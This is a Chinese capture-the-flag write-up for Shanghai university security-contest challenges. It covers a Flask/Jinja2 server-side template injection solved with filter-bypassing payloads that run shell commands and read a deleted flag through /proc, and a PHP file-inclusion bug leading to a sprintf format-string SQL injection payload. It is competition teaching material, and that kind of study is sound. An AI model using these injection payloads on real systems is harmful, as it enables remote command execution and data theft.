内容目录
上海大学生网安大赛 SSTI
F12
看到
<!--try /help when you need help.-->
访问 /help
ZnJvbSBmbGFzayBpbXBvcnQgRmxhc2sscmVxdWVzdCxyZW5kZXJfdGVtcGxhdGUKZnJvbSBqaW5qYTIgaW1wb3J0IFRlbXBsYXRlCmltcG9ydCBvcwoKYXBwID0gRmxhc2soX19uYW1lX18pCgpmID0gb3BlbignL2ZsYWcnLCdyJykKZmxhZyA9IGYucmVhZCgpCkBhcHAucm91dGUoJy8nLG1ldGhvZHM9WydHRVQnLCdQT1NUJ10pCmRlZiBob21lKCk6CiAgICBuYW1lID0gcmVxdWVzdC5hcmdzLmdldCgibmFtZSIpIG9yICIiCiAgICBwcmludChuYW1lKQogICAgaWYgbmFtZToKICAgICAgICByZXR1cm4gcmVuZGVyX3RlbXBsYXRlKCdpbmRleC5odG1sJyxuYW1lPW5hbWUpCiAgICBlbHNlOgogICAgICAgIHJldHVybiByZW5kZXJfdGVtcGxhdGUoJ2luZGV4Lmh0bWwnKQoKQGFwcC5yb3V0ZSgnL2hlbHAnLG1ldGhvZHM9WydHRVQnXSkKZGVmIGhlbHAoKToKICAgIGhlbHAgPSAnJycKICAgICcnJwogICAgICAgIHJldHVybiBmLnJlYWQoKQoKQGFwcC5lcnJvcmhhbmRsZXIoNDA0KQpkZWYgcGFnZV9ub3RfZm91bmQoZSk6CiAgICAjTm8gd2F5IHRvIGdldCBmbGFnIQogICAgb3Muc3lzdGVtKCdybSAtZiAvZmxhZycpCiAgICB1cmwgPSBuYW1lID0gcmVxdWVzdC5hcmdzLmdldCgibmFtZSIpIG9yICIiCiAgICAjIHIgPSByZXF1ZXN0LnBhdGgKICAgIHIgPSByZXF1ZXN0LmRhdGEuZGVjb2RlKCd1dGY4JykKICAgIGlmICdldmFsJyBpbiByIG9yICdwb3BlbicgaW4gciBvciAne3snIGluIHI6CiAgICAgICAgdCA9IFRlbXBsYXRlKCIgTm90IGZvdW5kISIpCiAgICAgICAgcmV0dXJuIHJlbmRlcl90ZW1wbGF0ZSh0KSwgNDA0CiAgICB0ID0gVGVtcGxhdGUociArICIgTm90IGZvdW5kISIpCiAgICByZXR1cm4gcmVuZGVyX3RlbXBsYXRlKHQpLCA0MDQKCgppZiBfX25hbWVfXyA9PSAnX19tYWluX18nOgogICAgYXBwLnJ1bihob3N0PScwLjAuMC4wJyxwb3J0PTg4ODgp
python base64解码一下获得源码
from flask import Flask,request,render_template
from jinja2 import Template
import os
app = Flask(__name__)
f = open('flag','r',encoding="utf-16")
flag = f.read()
print(flag)
@app.route('/',methods=['GET','POST'])
def home():
name = request.args.get("name") or ""
print(name)
if name:
return render_template('index.html',name=name)
else:
return render_template('index.html')
@app.route('/help',methods=['GET'])
def help():
help = '''
'''
return f.read()
@app.errorhandler(404)
def page_not_found(e):
#No way to get flag!
os.system('rm -f flag')
url = name = request.args.get("name") or ""
# r = request.path
r = request.data.decode('utf8')
if 'eval' in r or 'popen' in r or '{{' in r:
t = Template(" Not found!")
return render_template(t), 404
t = Template(r + " Not found!")
# print(t)
return render_template(t), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8888)
删除了flag文件的ssti,不过flag还是读到内存中了
参考:[https://www.pianshen.com/article/35761905979/]()
过滤了{{
可以用{% cmd %}
;过滤了eval
可以用'ev'+al
,popen
同理。
构造文件读取payload如下
{% print("".__class__.__bases__[0].__subclasses__()[78].__init__.__globals__['__builtins__']['ev'+'al']('__import__("subprocess").run("ls /",shell=True,capture_output=True)')) %}
本地测试通过,不过题目里没有subprocess。。。
读取进程pid
{% print("".__class__.__bases__[0].__subclasses__()[78].__init__.__globals__['__builtins__']['ev'+'al']('__import__("os").po'+'pen("ps -elf | grep python").read()')) %}
输出结果
4 S ctf 19 1 0 80 0 - 110464 - 10:15 ? 00:00:05 python3 /var/www/html/app.py
4 S ctf 1707 19 0 80 0 - 1126 wait 10:38 ? 00:00:00 /bin/sh -c ps -elf | grep python
1 R ctf 1709 1707 0 80 0 - 1126 - 10:38 ? 00:00:00 /bin/sh -c ps -elf | grep python
Not found!
获取flag
{% print("".__class__.__bases__[0].__subclasses__()[78].__init__.__globals__['__builtins__']['ev'+'al']('__import__("os").po'+'pen("cat /proc/19/fd/3").read()')) %}
上海大学生网安大赛 TryToLogin
F12
给出了文件包含漏洞
<!-- /?file=xxx 请使用绝对路径-->
访问任意404页面发现是apache+ubuntu
文件包含获取ports.conf
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf
Listen 80
<IfModule ssl_module>
Listen 443
</IfModule>
<IfModule mod_gnutls.c>
Listen 443
</IfModule>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
发现配置文件/etc/apache2/sites-enabled/000-default.conf
(其实是我一时脑袋短路忘记了。。。),继续包含
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/secret_dir_2333/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
继续,包含?file=/mentRoot /var/www/secret_dir/index.php
获得
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
<title>EasyLogin</title>
</head>
<body>
<div class="container">
<div class="row clearfix">
<div class="col-md-12 column">
<div class="tabbable" id="tabs-268153">
<ul class="nav nav-tabs">
<li class="active">
<a href="#panel-671062" data-toggle="tab">Home</a>
</li>
</ul>
</div>
<br>
<br>
<br><h2>Easy Login</h2>
<br>
<br>
<br>
<form role="form" action="index.php" method="POST">
<div class="form-group">
<label for="exampleInputEmail1">Username</label><input type="Username" class="form-control" name="username" />
</div>
<div class="form-group">
<label for="exampleInputPassword1">Password</label><input type="password" class="form-control" name="password" />
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
<?php
include 'class.php';
if(isset($_GET['file'])){
if(preg_match('/flag/is', $_GET['file']) === 0){
echo file_get_contents('/'.$_GET['file']);
}
}
if(isset($_POST['password'])){
$user = new user;
$login = $user->login();
if($login){
echo <<<EOF
<br>
<div class="container">
<div class="row clearfix">
<div class="col-md-12 column">
<div class="alert alert-dismissable alert-info">
<button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
<h4>
恭喜!
</h4> <strong>Success!</strong>登录成功了!
</div>
</div>
</div>
</div>
EOF;
}else{
echo <<<EOF
<br>
<div class="container">
<div class="row clearfix">
<div class="col-md-12 column">
<div class="alert alert-dismissable alert-danger">
<button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
<h4>
注意!
</h4> <strong>Wrong!</strong>用户名或密码错误!Need help?
</div>
</div>
</div>
</div>
<!-- /?file=xxx 请使用绝对路径-->
EOF;
}
}
?>
</div>
</div>
</div>
</body>
</html>
发现class.php
<?php
class user
{
public $hostname = '127.0.0.1';
public $username = 'root';
public $password = 'root';
public $database = 'ctf';
private $mysqli = null;
public function __construct()
{
$this->mysqli = mysqli_connect(
$this->hostname,
$this->username,
$this->password
);
mysqli_select_db($this->mysqli,$this->database);
}
public function filter()
{
$_POST['username'] = addslashes($_POST['username']);
$_POST['password'] = addslashes($_POST['password']);
$safe1 = preg_match('/inn|or/is', $_POST['username']);
$safe2 = preg_match('/inn|or/is', $_POST['password']);
if($safe1 === 0 and $safe2 === 0){
return true;
}else{
die('No hacker!');
}
}
public function login()
{
$this->filter();
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from user where username='%s' and password='$password'";
$sql = sprintf($sql,$username);
$result = mysqli_query($this->mysqli,$sql);
$result = mysqli_fetch_object($result);
if($result->id){
return 1;
}else{
return 0;
}
}
}
session_start();
发现是格式化字符串漏洞注入
参考深入解析sprintf格式化字符串漏洞_KKABqN-CSDN博客
payload:
username=admin&password=111%1$\' || 1=left((select xxx),xx)#
这里一个点要注意的是sprintf时如果字符串中%比提供的变量多则需要为每一个%指定对应的变量位置比如%.2f->%1$.2f
,参考链接里写的是%1\$.2f
是因为在双引号里$是变量符号,需要转义。
上海大学生网安大赛 变量覆盖+联合注入
这题没做,据说过于简单